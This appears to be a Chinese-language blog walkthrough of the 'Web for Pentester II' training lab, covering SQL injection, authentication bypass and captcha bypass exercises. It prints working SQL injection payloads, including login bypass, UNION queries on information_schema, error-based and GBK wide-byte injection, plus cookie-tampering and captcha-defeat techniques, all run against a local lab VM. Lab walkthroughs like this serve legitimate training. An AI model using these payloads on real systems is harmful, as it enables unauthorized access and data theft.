听说新出了web for pentest2,正好没什么事,那就来做做看吧…
SQL injections
example1
打开看到是一个登陆框,猜测是没有过滤,那么先输入个单引号吧,看看有没有什么过滤。
看到回显
1 | Mysql2::Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' AND password=''' at line 1: SELECT * FROM users WHERE username=''' AND password='' |
那么登陆吧,不知道为什么username处永真无效…
1 | username=admin&password=123'or'1'='1 |
想看看后台是怎么写的,结果发现全部都是rubyweb实现…
example2
居然又是个登陆框,而且好像没什么过滤,就是过不了,一脸懵比,去看了后台源码发现需要只查出来一条数据,那么简单
payload:
1 | username=admin&password=123'or+1+limit+1# |
example3
一脸懵比,居然又是登陆框,稍微测试了下发现单引号被过滤了,那么想想有查询两个字段,那么可以用反斜杠
1 | username=\&password=||1# |
这样可以转义掉本来包括username的单引号,username会包括&password=,然后构造就可以过了
example4
这回终于是个查询了,打开发现是这样的
1 | ?req=username='hacke' |
那么构造句测试下发现并没有过滤,那么开始注吧
1 | req=username='hacke' union select version(),user(),3 |
1 | id name |
顺便找到表名sqlinjection_example4
看看表里的列名
1 | req=username='hacke' union select table_name,2,3 from information_schema.tables where table_schema = 'sqlinjection_example4' |
然而只有users
里面啥也没有
1 | id name |
example 5
这回是在limit后面,稍微测试了下发现啥都没过滤,说明上面的payload可以直接拿过来用,数据库权限比较大,所有题目都能看到
1 | ?limit=5 union select table_name,2,3 from information_schema.tables where table_schema = 'sqlinjection_example5' |
没什么可说的
example6
这次在group by后面,看是还是没有任何过滤,所有payload还是不变。。。
1 | group=id union select table_name,2,3 from information_schema.tables where table_schema = 'sqlinjection_example6' |
example7
一脸懵比,回显想不明白,而且一定要查询出来user才行,不然会报错
1 | http://192.168.157.129/sqlinjection/example7/?id=47 |
说明不是正常的注入了,发现显错没关,那试试显错注入吧。
1 | id=12+and+1=2+UNION+SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x5f,database(),0x5f,user(),0x5f,version())))a+from+information_schema.tables+group+by+a)b-- |
这个是之前研究时候用的显错注入的payload,拖过来发现可以直接用。
http://lorexxar.cn/2015/11/19/sql-error/#more
1 | Mysql2::Error: Duplicate entry '1_sqlinjection_example6_pentesterlab@localhost_5.1.66-0+squeeze1' for key 'group_key': SELECT * FROM users WHERE id=12 and 1=2 UNION SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(0x5f,database(),0x5f,user(),0x5f,version())))a from information_schema.tables group by a)b-- |
一目了然
example8
打开爆了500,这回真的是一脸懵比,赶快去看看源码
1 | get "/users/:id" do |
完全看不懂,所以贴上官网的解释
1 | This example is vulnerable to "second order SQL injection", instead of directly injecting your payload in the request, you will first insert it in the database using a first request and then trigger the payload in a second request. The first request is not vulnerable to SQL injection, only the second is. However, you do not directly control the value used, you need to inject it using the first request. This issue comes from the fact that the developer trusted the values coming from the database. |
搜到一个payload但是我的本地过不了
1 | http://192.168.5.40/sqlinjection/example8/ |
example9
稍微测试了下没什么发现,错误显示也关了,那去看看后台吧
1 | get '/' do |
看到gdk就有想法了,应该是宽字节注入。
但是只传入username一个为%bf%27+or+1=1#
会报错说编码应为utf-8
所以payload为
1 | ?username=%bf%27+or+1%3D1+%23&password=%bf%27+or+1%3D1+%23&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 |
Authentication
这一类型是身份认证的bypass
example1
认证窗口弹出来是说用户名为admin,让我猜猜看密码是什么
然后随手一试
1 | username = admin |
然后就过了…6666
example2
第二关打开是这样的
Username is hacker, now you need to find the password
抓包看看也没什么想法,去web for pentest2的官网看了看,他是这么说的
This example is an exagerated version of a non-time-constant string comparison vulnerability. If you compare two strings and stop at the first invalid character, a string A with the first 6 characters in common with the string B will take more time to compare than a string A’ with only the first 2 characters in common with the string B. You can use this information to brute force the password in this example.
说了一大堆也没有很看懂,好像是说6位的密码要花很长时间比较,而authentication是逐位比较的,所以正确的为一位位比较下去,这样就会花更长的时间,那么就可以写脚本跑了…(虽然我还是一脸懵比)
1 | $ ruby auth-example2.rb |
明显p比较久,这样就继续跑,最后得到密码是p4ss0rd
example3
打开有个登陆框,给了个测试账号,题目是说需要用admin的身份登陆,不知道为什么爆了500的错误,没办法那就不做了,看看官方文档
In this exercise, you can log in as user1, your goal is too get logged in as admin. To do so, you need to carefully look at the response sent back by the server.
You can see that when you log in as user1, you get a cookie named user1, from that you can easily modify this value (using a proxy or a browser’s extension) to get logged in as admin.
比较清晰,大概是说cookie里面有个字段是user,修改为admin就可以了
example4
和上题差不多。
This example is similar to the previous example. As soon as you receive a cookie from an application is always good to see what it looks like, try to crack using a password cracker or try to just Google it. From that you should be able to generate a valid cookie for the user admin.
If you get many times the same session id when logging in: there is a problem! If you log in from a clean browser, you should never get two times the same cookies.
大概意思是说cookie不会改变,意味着cookie中存储了账号密码的信息,就好像如果你使用干净的浏览器,你不会两次都得到相同的cookie,除非cookie中存储着什么。
example5
打开是个登陆版还有注册功能,那么稍微猜猜看应该是业务逻辑漏洞了
This example shows the consequence of different method of string comparison. When you create a user, the application will check programmatically that the user does not exist by comparing the username provided with the existing user. When you log in, the application will check that your username and password are correct, then it will save your username in your session. Finally, every time you will access the application, the application will retrieve your user’s details based on the username provided in the session.
The trick here comes from the fact that the comparison when you create a user is done programmaticaly (i.e.: in Ruby) but when the user’s details get retrieved, the comparison is done by the database. And by default, MySQL (with the type VARCHAR) will perform a case insensitive comparison: “admin” and “Admin” are the same value.
Using that information, you should be able to create a user that will be identified as admin.
看起来没错,是注册的时候判断没有做大小写判断,于是产生了注册覆盖,那么注册一个Admin就可以过了
example6
To remediate the previous issue, the developer decided to use a case sensitive comparison during users’ creation. This check can also be bypassed based on the way MySQL performs string comparison: MySQL ignores trailing spaces (i.e.: pentesterlab and pentesterlab are equals). Using the same method as above, you should be able to pretend to be logged in as the user admin.
A good way to prevent this issue is to tell the database that the username is a PRIMARY KEY. This method is, for example, used in Tomcat documentation to use a SQL backend as a Realm.
不知道为什么这类型的题目都会报500,没办法,只能看官方文档猜猜看,基本说的很清楚,mysql会忽略尾随在字符串后面的空格,利用这种方式,就可以进行注册覆盖了,还是比较简单的。
captcha
这里的的所有题目都是关于captcha的验证的,有各种各样奇怪的captcha bypass方式。
example1
第一题打开时验证码,试了试没觉得有什么问题,那么就去看看源码吧,看到了一句有趣的判断
1 | if params[:captcha] and params[:captcha] != session[:captcha] |
这里看到有个captcha存在性的判断,所以如果并没有传入captcha这个参数,就不会进入判断,成功绕过。
example2
第二题打开发现第一题的洞还在,但估计应该不是这样的做法,查看页面源码的时候突然发现有个隐藏的answer,
1 | <input type="hidden" value="KhXFGIHZIc" name="answer"> |
有可能是测试的时候忘记删除导致的漏洞吧…
example3
这回同样是类似于由于开发人员疏漏导致的问题,这次打开发现之前的input的消失了,但是却发现cookie多了一项captcha,里面就是验证码,get
example4
第4题打开没找到什么洞,去看看官方文档吧。
This is quite a funny example since it’s a mistake I made during the development of this set of exercises.
Here, you don’t have to really crack the captcha, you just need to crack it once and you can reuse the same value and session id to perform the same request again and again. When you try to crack a captcha, make sure that an answer can only be used once. You can easily script this exploitation by writing a script that takes a session id and a value for parameters and submit them again and again.
好吧我承认没有搞明白怎么回事…
example5
打开发现验证码是类似于单词这样的东西,不是很懂,去看看官方文档…
This example is the last example of weakness, here the weakness comes from the dictionnary used to create the captcha, there is only a limited number of words used. You can easily write a cracker by generating a list of all words and the MD5 of the image. Then when you want to submit the form, you just need to retrieve the image, compute its MD5 and submit the matching word.
大概说我们很容易通过枚举单词来比较验证码的正确,类似于弱口令吧。
example6
这次的比较清晰了,打开是很弱的验证码,找一些工具就可以识别这样的图片了,官方文档是这么说的。
In this example, we are going to use the OCR tool (Tesseract) to crack this easy captcha. The goal here is to build a script that will get an high success rate.
Just with a basic script using tesseract you can expect a success rate of more than 95%. You will need to use the following algorithm:
Go to the main page http://vulnerable/captcha/example6/ to get a new captcha and the cookie (rack.session).
Retrieve the image.
Run tesseract on the image and retrieve the result.
Submit the result with the correct cookie.
The following things can improved your success rate:
Only submit a value if it’s a word.
Only submit a value if it only contains of lower case characters.
Depending on the application workflow, you may want to have a really high success rate. For example, if you spend 10 minutes filling forms, you want to make sure that the captcha cracker has a high success rate. Where if it’s only to exploit a SQL injection, you can just retry until you find the right value and you don’t need to be really accurate.
他推荐了ocr tool这个工具,在识别的时候还可以加一些优化,剔除一些不是单词的,在剔除一些只有小写字母的。
example7
只是加了一些蓝色的线基本是不解决问题的,很容易处理这样的图片。
1 | require 'RMagick' |
噢,代码可能是ruby写的。。。
example8
到这里发现验证码已经回到原来的样子了,之前是通过别的漏洞搞得,现在试着恢复吧。
1 | require 'RMagick' |
加上筛选,成功率还是有一些的,
example9
打开发现是算式的验证码,那么很简单,python里用eval就可以了,懒得写脚本…
Authorization
由于这部分开始镜像血崩了,基本开什么都报500,无奈下只能放弃了,不过从官方的文档中还是能获得很多东西。
有时候会打不开,但好像不是因为gfw的原因。